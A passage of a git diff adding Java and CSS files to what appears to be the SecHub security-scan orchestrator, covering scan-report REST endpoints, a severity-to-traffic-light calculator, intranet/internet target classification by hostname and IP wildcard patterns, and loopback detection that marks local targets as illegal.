+@RequestMapping(APIConstants.API_PROJECT+"{projectId}") // API like https://developer.github.com/v3/issues/labels/#create-a-label +@RolesAllowed({RoleConstants.ROLE_USER, RoleConstants.ROLE_SUPERADMIN}) +public class ScanReportRestController { + + @Autowired + private HTMLScanResultReportModelBuilder htmlModelBuilder; + + @Autowired + private DownloadScanReportService downloadReportService; + + + /* @formatter:off */ + @UseCaseUserDownloadsJobReport(@Step(number=1,next= {3},name="REST API call to get JSON report",needsRestDoc=true)) + @UseCaseUserStartsSynchronousScanByClient(@Step(number=4, name="download job report and traffic light")) + @RequestMapping(path = "/report/{jobUUID}", method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public ScanReportResult getScanReportResultJSON( + @PathVariable("projectId") String projectId, + @PathVariable("jobUUID") UUID jobUUID + ) { + /* @formatter:on */ + return fetchScanReportResult(projectId, jobUUID); + + } + + /* @formatter:off */ + @UseCaseUserDownloadsJobReport(@Step(number=2,next= {3},name="REST API call to get HTML report",needsRestDoc=true)) + @RequestMapping(path = "/report/{jobUUID}", method = RequestMethod.GET, produces= {"application/xhtml+xml", "text/html","text/html;charset=UTF-8"}) + @ResponseBody + public ModelAndView getScanReportResultHTML( + @PathVariable("projectId") String projectId, + @PathVariable("jobUUID") UUID jobUUID + ) { + /* @formatter:on */ + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + Map model = htmlModelBuilder.build(scanResult); + return new ModelAndView("report/html/scanresult", model); + } + + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + return downloadReportService.getScanReportResult(projectId, jobUUID); + } + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportResult.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportResult.java new file mode 100644 index 0000000000..95ba9e6450 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportResult.java @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.domain.scan.SecHubResult; +import com.daimler.sechub.sharedkernel.MustBeKeptStable; +import com.daimler.sechub.sharedkernel.UUIDTraceLogID; +import com.daimler.sechub.sharedkernel.util.JSONConverterException; +import com.daimler.sechub.sharedkernel.util.JSONable; +import com.fasterxml.jackson.annotation.JsonAutoDetect; +import com.fasterxml.jackson.annotation.JsonAutoDetect.Visibility; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonInclude.Include; + +@JsonAutoDetect(fieldVisibility = Visibility.ANY, getterVisibility = Visibility.NONE, setterVisibility = Visibility.NONE) +@JsonIgnoreProperties(ignoreUnknown = true) +@MustBeKeptStable("This is the result returend from REST API to cli and other systems. So has to be stable") +public class ScanReportResult implements JSONable{ + + public static final String PROPERTY_RESULT="result"; + public static final String PROPERTY_JOBUUID="jobUUID"; + public static final String PROPERTY_TRAFFICLIGHT="trafficLight"; + public static final String PROPERTY_INFO="info"; + + + private static final Logger LOG = LoggerFactory.getLogger(ScanReportResult.class); + + UUID jobUUID; + + public UUID getJobUUID() { + return jobUUID; + } + + SecHubResult result; + + public SecHubResult getResult() { + return result; + } + + @JsonInclude(Include.NON_NULL) // only include info when additional data is set + String info; + + public String getInfo() { + return info; + } + + String trafficLight; + + public String getTrafficLight() { + return trafficLight; + } + + public ScanReportResult(ScanReport report) { + notNull(report, "Report may not be null!"); + jobUUID = report.getSecHubJobUUID(); + trafficLight = report.getTrafficLightAsString(); + try { + result = SecHubResult.OBJECT.fromJSON(report.getResult()); + } catch (JSONConverterException e) { + /* Should never happen, because we set secHubResult to database as string from report + * If this happens. We got a data corruption and are NOT backward compatible on changes. + * Must be then fixed! + */ + LOG.error("{} FATAL PROBLEM! Failed to create sechub result for origin:\n{}",UUIDTraceLogID.traceLogID(jobUUID), report.getResult()); + info="Origin result data problems! Please inform administrators about this problem."; + } + } + + @Override + public Class getJSONTargetClass() { + return ScanReportResult.class; + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportToSecHubResultTransformer.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportToSecHubResultTransformer.java new file mode 100644 index 0000000000..bc2917c3d0 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportToSecHubResultTransformer.java @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import com.daimler.sechub.domain.scan.SecHubResult; +import com.daimler.sechub.domain.scan.product.ProductIdentifier; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; + +public interface ScanReportToSecHubResultTransformer { + + SecHubResult transform(String origin) throws SecHubExecutionException; + + boolean canTransform(ProductIdentifier productIdentifier); + + +} \ No newline at end of file diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportTrafficLightCalculator.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportTrafficLightCalculator.java new file mode 100644 index 0000000000..633607bd51 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportTrafficLightCalculator.java @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import java.util.ArrayList; +import java.util.List; + +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.scan.SecHubFinding; +import com.daimler.sechub.domain.scan.SecHubResult; +import com.daimler.sechub.domain.scan.Severities; +import com.daimler.sechub.domain.scan.Severity; +import com.daimler.sechub.sharedkernel.type.TrafficLight; + +@Component +public class ScanReportTrafficLightCalculator { + + public TrafficLight calculateTrafficLight(SecHubResult result) { + if (result == null) { + throw new IllegalArgumentException("SecHub result may not be null!"); + } + TrafficLight trafficLight = null; + for (Severity severity: Severities.getAllOrderedFromHighToLow()) { + trafficLight = resolveTrafficLightWhenOneEntryWithSuchSeverity(result, trafficLight, severity); + } + if (trafficLight!=null) { + return trafficLight; + } + /* when no severities...*/ + return TrafficLight.GREEN; + } + + TrafficLight resolveTrafficLightWhenOneEntryWithSuchSeverity(SecHubResult result, TrafficLight found, Severity severity) { + if (found != null) { + return found; + } + if (!hasResultOneFindingWith(result, severity)) { + return null; + } + return mapToTrafficLight(severity); + } + + TrafficLight mapToTrafficLight(Severity severity) { + if (Severity.CRITICAL.equals(severity)) { + return TrafficLight.RED; + } + if (Severity.HIGH.equals(severity)) { + return TrafficLight.RED; + } + if (Severity.MEDIUM.equals(severity)) { + return TrafficLight.YELLOW; + } + return TrafficLight.GREEN; + } + + public List filterFindingsFor(SecHubResult result, TrafficLight searched) { + List filteredResult = new ArrayList<>(); + if (searched==null) { + return filteredResult; + } + for (SecHubFinding finding: result.getFindings()) { + TrafficLight trafficLightFound = mapToTrafficLight(finding.getSeverity()); + if (searched.equals(trafficLightFound)) { + filteredResult.add(finding); + } + } + return filteredResult; + } + + private boolean hasResultOneFindingWith(SecHubResult result, Severity severity) { + if (severity == null) { + return false; + } + List findings = result.getFindings(); + if (findings == null || findings.isEmpty()) { + return false; + } + for (SecHubFinding finding : findings) { + if (finding == null) { + continue; + } + if (severity.equals(finding.getSeverity())) { + return true; + } + } + return false; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/DividedStringPatternMatcher.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/DividedStringPatternMatcher.java new file mode 100644 index 0000000000..c4de1f68f7 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/DividedStringPatternMatcher.java @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.util.Objects; +import java.util.regex.Pattern; + +/** + * + * Special matcher to inspect string matching to a string pattern + * + */ +public class DividedStringPatternMatcher { + + private String[] patternParts; + + private char divider; + + /** + * Creates a new matcher for this pattern + * + * @param pattern a pattern which is separated by divider - e.g. when divider is + * '-' a valid pattern would be `1-2-3' + * @param divider character used for separation + */ + public DividedStringPatternMatcher(String pattern, char divider) { + Objects.requireNonNull(pattern, "pattern may not be null"); + this.divider=divider; + patternParts = splitByDivider(pattern); + } + + public String[] getPatternParts() { + return patternParts.clone(); + } + + + public boolean isMatching(String given ) { + if (given==null) { + return false; + } + String target = given.toLowerCase(); + String[] targetPart = splitByDivider(target); + if (targetPart == null) { + return false; + } + if (targetPart.length != patternParts.length) { + return false; + } + boolean accepted = true; + for (int i = 0; i < patternParts.length && accepted; i++) { + accepted = patternParts[i].equals("*") || patternParts[i].equals(targetPart[i]); + } + return accepted; + } + + private String[] splitByDivider(String pattern) { + String[] parts = pattern.split(Pattern.quote("" + divider)); + + String[] lowerCaseParts = new String[parts.length]; + int i=0; + for (String caseVariant: parts) { + lowerCaseParts[i++]=caseVariant.toLowerCase(); + } + + return lowerCaseParts; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IPv4Pattern.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IPv4Pattern.java new file mode 100644 index 0000000000..40697955bd --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IPv4Pattern.java @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.net.InetAddress; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class IPv4Pattern implements InetAddressPattern{ + + private static final Logger LOG = LoggerFactory.getLogger(IPv4Pattern.class); + + private DividedStringPatternMatcher matcher; + private boolean valid; + + public IPv4Pattern(String pattern) { + matcher = new DividedStringPatternMatcher(pattern, '.'); + validate(pattern); + } + + boolean isValid() { + return valid; + } + + private void validate(String pattern) { + String[] parts = matcher.getPatternParts(); + this.valid=false; + if (parts.length!=4) { + LOG.debug("Pattern '{}' not valid for IPv4. Amount of dividers must be 4 and not {}.", pattern,parts.length); + return; + } + for (String part: parts) { + if ("*".contentEquals(part)) { + continue; + } + try { + int value = Integer.parseInt(part); + if (value<0 || value >255) { + LOG.debug("Pattern '{}' not valid for IPv4. Number {} not valid. Please use 0-255 or * only", pattern,value); + return; + } + }catch(NumberFormatException e) { + LOG.debug("Pattern '{}' not valid for IPv4. Allowed are 0-255 and * only",pattern); + return; + } + } + valid=true; + + } + + public boolean isMatching(InetAddress address) { + if (!valid) { + return false; + } + return matcher.isMatching(address.getHostAddress()); + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IPv6Pattern.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IPv6Pattern.java new file mode 100644 index 0000000000..f8bee0669f --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IPv6Pattern.java @@ -0,0 +1,59 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.net.InetAddress; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class IPv6Pattern implements InetAddressPattern{ + + private static final Logger LOG = LoggerFactory.getLogger(IPv4Pattern.class); + + private DividedStringPatternMatcher matcher; + private boolean valid; + + public IPv6Pattern(String pattern) { + matcher = new DividedStringPatternMatcher(pattern, ':'); + validate(pattern); + } + + boolean isValid() { + return valid; + } + + private void validate(String pattern) { + String[] parts = matcher.getPatternParts(); + this.valid=false; + if (parts.length!=8) { + /* we do NOT support short form but only long variant, which has + * always 8 parts*/ + LOG.debug("Pattern '{}' not valid for IPv6 (we do not provide compact form for patterns, only long variant). Amount of dividers must be 8 and not {}.", pattern,parts.length); + return; + } + for (String part: parts) { + if ("*".contentEquals(part)) { + continue; + } + try { + int value = Integer.decode("0x"+part); // its hex code 2 bytes + if (value<0 || value >0xffff) { + LOG.debug("Pattern '{}' not valid for IPv6. Number {} not valid. Please use 0-FFFF or * only", pattern,value); + return; + } + }catch(NumberFormatException e) { + LOG.debug("Pattern '{}' not valid for IPv6. Allowed are 0-FFF and * only",pattern); + return; + } + } + valid=true; + + } + + public boolean isMatching(InetAddress address) { + if (!valid) { + return false; + } + return matcher.isMatching(address.getHostAddress()); + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IllegalInetAddressTargetDetector.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IllegalInetAddressTargetDetector.java new file mode 100644 index 0000000000..5ac3468103 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IllegalInetAddressTargetDetector.java @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.net.InetAddress; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +@Component +public class IllegalInetAddressTargetDetector { + + @Autowired + LoopbackAddressFinder loopbackfinder; + + public boolean isIllegal(InetAddress ip) { + if (ip == null) { + return true; + } + /* loop back variants are all not a legal target */ + return loopbackfinder.isLoopback(ip); + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IllegalURItargetDetector.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IllegalURItargetDetector.java new file mode 100644 index 0000000000..e60774d235 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IllegalURItargetDetector.java @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.net.URI; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +@Component +public class IllegalURItargetDetector { + + @Autowired + LoopbackAddressFinder loopbackfinder; + + public boolean isIllegal(URI uri) { + if (uri == null) { + return true; + } + String host = uri.getHost(); + + if (host == null) { + return true; + } + /* loop back variants are all not a legal target */ + return loopbackfinder.isLoopback(host); + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/InetAddressPattern.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/InetAddressPattern.java new file mode 100644 index 0000000000..b1c9c5e4f9 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/InetAddressPattern.java @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.net.InetAddress; + +public interface InetAddressPattern { + + public boolean isMatching(InetAddress address); +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/InetAdressTargetResolveStrategy.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/InetAdressTargetResolveStrategy.java new file mode 100644 index 0000000000..b629ccf391 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/InetAdressTargetResolveStrategy.java @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.net.InetAddress; + +public interface InetAdressTargetResolveStrategy extends TargetResolveStrategy { + + +} \ No newline at end of file diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IntranetEndsWithURITargetResolveStrategy.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IntranetEndsWithURITargetResolveStrategy.java new file mode 100644 index 0000000000..75f842bfe7 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IntranetEndsWithURITargetResolveStrategy.java @@ -0,0 +1,54 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.net.URI; +import java.util.LinkedHashSet; +import java.util.Set; + +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.scan.Target; +import com.daimler.sechub.domain.scan.TargetType; + +@Component +public class IntranetEndsWithURITargetResolveStrategy implements URITargetResolveStrategy { + + public static final String PREFIX = "intranet-hostname-ends-with:"; + private Set endsWithList = new LinkedHashSet(); + + + public boolean initialize(String uriPattern) { + if (uriPattern==null) { + return false; + } + if (!uriPattern.startsWith(PREFIX)) { + return false; + } + String values = uriPattern.substring(PREFIX.length()).trim(); + if (values.isEmpty()) { + return false; + } + String[] uriEndings = values.split(","); + for (String uriEnding: uriEndings) { + endsWithList.add(uriEnding.trim()); + } + return true; + + } + + @Override + public Target resolveTargetFor(URI uri) { + String host = uri.getHost(); + if (host==null) { + return new Target(uri, TargetType.UNKNOWN); + } + String hostNameLowercased = host.toLowerCase(); + for (String endsWith: endsWithList) { + if (hostNameLowercased.endsWith(endsWith)) { + return new Target(uri,TargetType.INTRANET); + } + } + return new Target(uri,TargetType.INTERNET); + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IntranetIPpatternResolveStrategy.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IntranetIPpatternResolveStrategy.java new file mode 100644 index 0000000000..140393234a --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/IntranetIPpatternResolveStrategy.java @@ -0,0 +1,76 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.net.InetAddress; +import java.util.LinkedHashSet; +import java.util.Set; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.scan.Target; +import com.daimler.sechub.domain.scan.TargetType; + +@Component +public class IntranetIPpatternResolveStrategy implements InetAdressTargetResolveStrategy { + + public static final String PREFIX = "intranet-ip-pattern:"; + private static final Logger LOG = LoggerFactory.getLogger(IntranetEndsWithURITargetResolveStrategy.class); + + private Set patterns = new LinkedHashSet<>(); + + public boolean initialize(String uriPattern) { + if (uriPattern == null) { + return false; + } + if (!uriPattern.startsWith(PREFIX)) { + return false; + } + String values = uriPattern.substring(PREFIX.length()).trim(); + if (values.isEmpty()) { + LOG.warn("{} used, bot no content found!",PREFIX); + return false; + } + String[] uriEndings = values.split(","); + for (String uriEnding : uriEndings) { + String pattern = uriEnding.trim(); + + /* first try ipv4*/ + IPv4Pattern ipv4Pattern = new IPv4Pattern(pattern); + if (ipv4Pattern.isValid()) { + LOG.info("Intranet detection by ipv4 pattern:'{}'",pattern); + patterns.add(ipv4Pattern); + continue; + } + /* next try ipv6*/ + IPv6Pattern ipv6Pattern = new IPv6Pattern(pattern); + if (ipv6Pattern.isValid()) { + LOG.info("Intranet detection by ipv6 pattern:'{}'",pattern); + patterns.add(ipv6Pattern); + continue; + } + /* we simply ignore not matching patterns, so no special handling*/ + LOG.warn("Invalid pattern:'{}' - is ignored",pattern); + } + return true; + + } + + @Override + public Target resolveTargetFor(InetAddress inetAdress) { + Target result = null; + + for (InetAddressPattern p: patterns) { + if (p.isMatching(inetAdress)) { + result = new Target(inetAdress,TargetType.INTRANET); + break; + } + } + if (result == null) { + result = new Target(inetAdress, TargetType.INTERNET); + } + return result; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/LoopbackAddressFinder.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/LoopbackAddressFinder.java new file mode 100644 index 0000000000..5bf02fbe96 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/LoopbackAddressFinder.java @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.net.InetAddress; + +import org.springframework.stereotype.Component; + +@Component +public class LoopbackAddressFinder { + /* @formatter:off + * From: https://www.ietf.org/rfc/rfc2732.txt : + * + * To use a literal IPv6 address in a + * URL, the literal address should be enclosed in "[" and "]" characters. For + * example the following literal IPv6 addresses: + * + * FEDC:BA98:7654:3210:FEDC:BA98:7654:3210 1080:0:0:0:8:800:200C:4171 + * 3ffe:2a00:100:7031::1 1080::8:800:200C:417A ::192.9.5.5 ::FFFF:129.144.52.38 + * 2010:836B:4179::836B:4179 + * + * would be represented as in the following example URLs: + * + * http://[FEDC:BA98:7654:3210:FEDC:BA98:7654:3210]:80/index.html + * http://[1080:0:0:0:8:800:200C:417A]/index.html http://[3ffe:2a00:100:7031::1] + * http://[1080::8:800:200C:417A]/foo http://[::192.9.5.5]/ipng + * http://[::FFFF:129.144.52.38]:80/index.html + * http://[2010:836B:4179::836B:4179] + * + * Loop back variants + * Syntax: + * see https://en.wikipedia.org/wiki/Loopback + * see https://tools.ietf.org/html/rfc4291 + * + * @formatter:on + */ + public boolean isLoopback(String ipAddressAsString) { + if (ipAddressAsString==null) { + return false; + } + String ipAddress=ipAddressAsString.trim(); + if (ipAddressAsString.isEmpty()) { + return false; + } + if (ipAddress.contentEquals("localhost")) { + return true; + } + if (ipAddress.startsWith("127.")) { + return true; + } + if (! ipAddress.startsWith("[")) { + /* no IPv6 parts, so all valid at this point*/ + return false; + } + /* IPv6 parts:*/ + if (ipAddress.equals("[::1]")) { + return true; + } + if (ipAddress.equals("[0:0:0:0:0:0:0:1]")) { + return true; + } + return false; + } + + public boolean isLoopback(InetAddress ip) { + if (ip==null) { + return false; + } + return ip.isLoopbackAddress(); + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/TargetResolveStrategy.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/TargetResolveStrategy.java new file mode 100644 index 0000000000..81c7b59c02 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/TargetResolveStrategy.java @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import com.daimler.sechub.domain.scan.Target; + +public interface TargetResolveStrategy { + + /** + * Initialize strategy (if possible) and return initialization result + * @param definedUriStrategy + * @return @return true when this strategy can be initialized by given string + */ + boolean initialize(String uriPattern); + + /** + * Resolves target for given type + * @param type + * @return target, or null + */ + Target resolveTargetFor(T type); + +} \ No newline at end of file diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/TargetResolver.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/TargetResolver.java new file mode 100644 index 0000000000..94dff96713 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/TargetResolver.java @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.net.InetAddress; +import java.net.URI; + +import com.daimler.sechub.domain.scan.Target; + +public interface TargetResolver { + + /** + * Resolves target for given URI + * + * @param uri + * @return target, never null + */ + public Target resolveTarget(URI uri); + + /** + * Resolves target for given IP adress + * + * @param inetAdress + * @return target, never null + */ + public Target resolveTarget(InetAddress inetAdress); + + /** + * Resolves target for given path + * @param path + * @return target, never null + * @throws IllegalArgumentException if identifier cannot be handled + */ + public Target resolveTargetForPath(String path); +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/TargetResolverService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/TargetResolverService.java new file mode 100644 index 0000000000..caf8ddd5ea --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/TargetResolverService.java @@ -0,0 +1,139 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.net.InetAddress; +import java.net.URI; +import java.util.ArrayList; +import java.util.List; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.scan.Target; +import com.daimler.sechub.domain.scan.TargetType; +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +/** + * Service for target resolving. Fallback target types for IP and URIs will + * be always INTERNET. + * @author Albert Tregnaghi + * + */ +@Service +public class TargetResolverService implements TargetResolver { + + @Autowired + IllegalURItargetDetector illegalURItargetDetector; + + @Autowired + IllegalInetAddressTargetDetector illegalInetAddressTargetDetector; + + @Value("${sechub.target.resolve.strategy.uri:}") + @MustBeDocumented(value = "*Strategy to decide target types by given URI.* +\n" + + "Starts always with strategy-identifer, colon and value(s). Currently only 'intranet-hostname-ends-with' is supported as strategy. For example: " + + "`intranet-hostname-ends-with::intranet.example.org,intx.example.com`. Other hostnames are interpreted as being inside INTERNET. " + + "But no matter if strategy is defined or not: loopback addresses are always illegal and so ignored.") + String definedUriStrategy; + + @Value("${sechub.target.resolve.strategy.ip:}") + @MustBeDocumented(value = "*Strategy to decide target types by given IP.* +\n" + + "Starts always with strategy-identifer, colon and value(s). Currently only 'intranet-ip-pattern' is supported as strategy. For example: " + + "`intranet-ip-pattern:192.168.178.*,[2001:db8:85a3:0:0:8a2e:370:*]`. Other IPs are interpreted as being inside INTERNET. " + + "But no matter if strategy is defined or not: loopback addresses are always illegal and so ignored") + String definedInetAddressStrategy; + + @Autowired + List inetAddressTargetResolveStrategies = new ArrayList<>(); + + @Autowired + List uriTargetResolveStrategies = new ArrayList<>(); + + private URITargetResolveStrategy usedUriTargetResolveStrategy; + private InetAdressTargetResolveStrategy usedInetAddressTargetResolveStrategy; + private boolean initialized; + + public TargetResolverService() { + } + + @Override + public Target resolveTargetForPath(String path) { + /* + * currently there is no strategy - we simple accept this always as a code + * upload + */ + TargetType codeUploadType = TargetType.CODE_UPLOAD; + return new Target(path, codeUploadType); + } + + @Override + public Target resolveTarget(URI uri) { + ensureInitialized(); + + if (uri == null) { + return new Target(uri, TargetType.UNKNOWN); + } + if (illegalURItargetDetector != null) { + if (illegalURItargetDetector.isIllegal(uri)) { + return new Target(uri, TargetType.ILLEGAL); + } + } + Target resolved = null; + if (usedUriTargetResolveStrategy != null) { + resolved = usedUriTargetResolveStrategy.resolveTargetFor(uri); + } + if (resolved == null) { + resolved = new Target(uri, TargetType.INTERNET); + } + return resolved; + } + + @Override + public Target resolveTarget(InetAddress inetAdress) { + ensureInitialized(); + + if (inetAdress == null) { + return new Target(inetAdress, TargetType.UNKNOWN); + } + if (illegalInetAddressTargetDetector != null) { + if (illegalInetAddressTargetDetector.isIllegal(inetAdress)) { + return new Target(inetAdress, TargetType.ILLEGAL); + } + } + Target resolved = null; + if (usedInetAddressTargetResolveStrategy != null) { + resolved = usedInetAddressTargetResolveStrategy.resolveTargetFor(inetAdress); + } + if (resolved == null) { + resolved = new Target(inetAdress, TargetType.INTERNET); + } + return resolved; + } + + private void ensureInitialized() { + if (initialized) { + return; + } + initInetAddressStrategy(); + initURIStrategy(); + } + + private void initURIStrategy() { + for (URITargetResolveStrategy strategy : uriTargetResolveStrategies) { + if (strategy.initialize(definedUriStrategy)) { + usedUriTargetResolveStrategy = strategy; + break; + } + } + } + + private void initInetAddressStrategy() { + for (InetAdressTargetResolveStrategy strategy : inetAddressTargetResolveStrategies) { + if (strategy.initialize(definedInetAddressStrategy)) { + usedInetAddressTargetResolveStrategy = strategy; + break; + } + } + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/URITargetResolveStrategy.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/URITargetResolveStrategy.java new file mode 100644 index 0000000000..d1a417de8c --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/resolve/URITargetResolveStrategy.java @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import java.net.URI; + +public interface URITargetResolveStrategy extends TargetResolveStrategy { + +} \ No newline at end of file diff --git a/sechub-scan/src/main/resources/templates/report/html/scanresult.css b/sechub-scan/src/main/resources/templates/report/html/scanresult.css new file mode 100644 index 0000000000..119e17f941 --- /dev/null +++ b/sechub-scan/src/main/resources/templates/report/html/scanresult.css @@ -0,0 +1,217 @@ +/* SPDX-License-Identifier: MIT + - origin: (https://codepen.io/samarkandiy/pen/JxnCF) +*/ +.trafficlight { + background: #222; + background-image: linear-gradient(transparent 2%, #111 2%, transparent 3%, #111 30%); + width: 170px; + height: 400px; + border-radius: 20px; + position: relative; + border: solid 5px #333; +} + +.trafficlight:before { + background: #222; + background-image: radial-gradient(#444, #000); + content: ""; + width: 170px; + height: 150px; + margin: 0 auto; + position: absolute; + top: -20px; + margin-left: 0px; + border-radius: 50%; + z-index: -1; +} + +.trafficlight:after { + background: #222; + background-image: linear-gradient(-90deg, #222 0%, #444 30%, #000); + content: ""; + width: 50px; + height: 600px; + margin-left: 60px; + position: absolute; + top: 150px; + z-index: -1; +} + +.protector { + background: transparent; + width: 180px; + height: 0; + position: absolute; + top: 20px; + left: -35px; + border-right: solid 30px transparent; + border-left: solid 30px transparent; + border-top: solid 90px #111; + border-radius: 10px; + z-index: -1; +} + +.protector:nth-child(2) { + top: 140px; +} + +.protector:nth-child(3) { + top: 260px; +} + +.red { + background: red; + background-image: radial-gradient(brown, transparent); + background-size: 5px 5px; + width: 100px; + height: 100px; + border-radius: 50%; + position: absolute; + top: 20px; + left: 35px; + border: dotted 2px red; + box-shadow: 0 0 20px #111 inset, 0 0 10px red; +} + +.yellow { + background: yellow; + background-image: radial-gradient(orange, transparent); + background-size: 5px 5px; + width: 100px; + height: 100px; + border-radius: 50%; + border: dotted 2px yellow; + position: absolute; + top: 145px; + left: 35px; + box-shadow: 0 0 20px #111 inset, 0 0 10px yellow; +} + +.green { + background: green; + background-image: radial-gradient(lime, transparent); + background-size: 5px 5px; + width: 100px; + height: 100px; + border-radius: 50%; + border: dotted 2px lime; + position: absolute; + top: 270px; + left: 35px; + box-shadow: 0 0 20px #111 inset, 0 0 10px lime; +} + +/* The sidebar menu */ 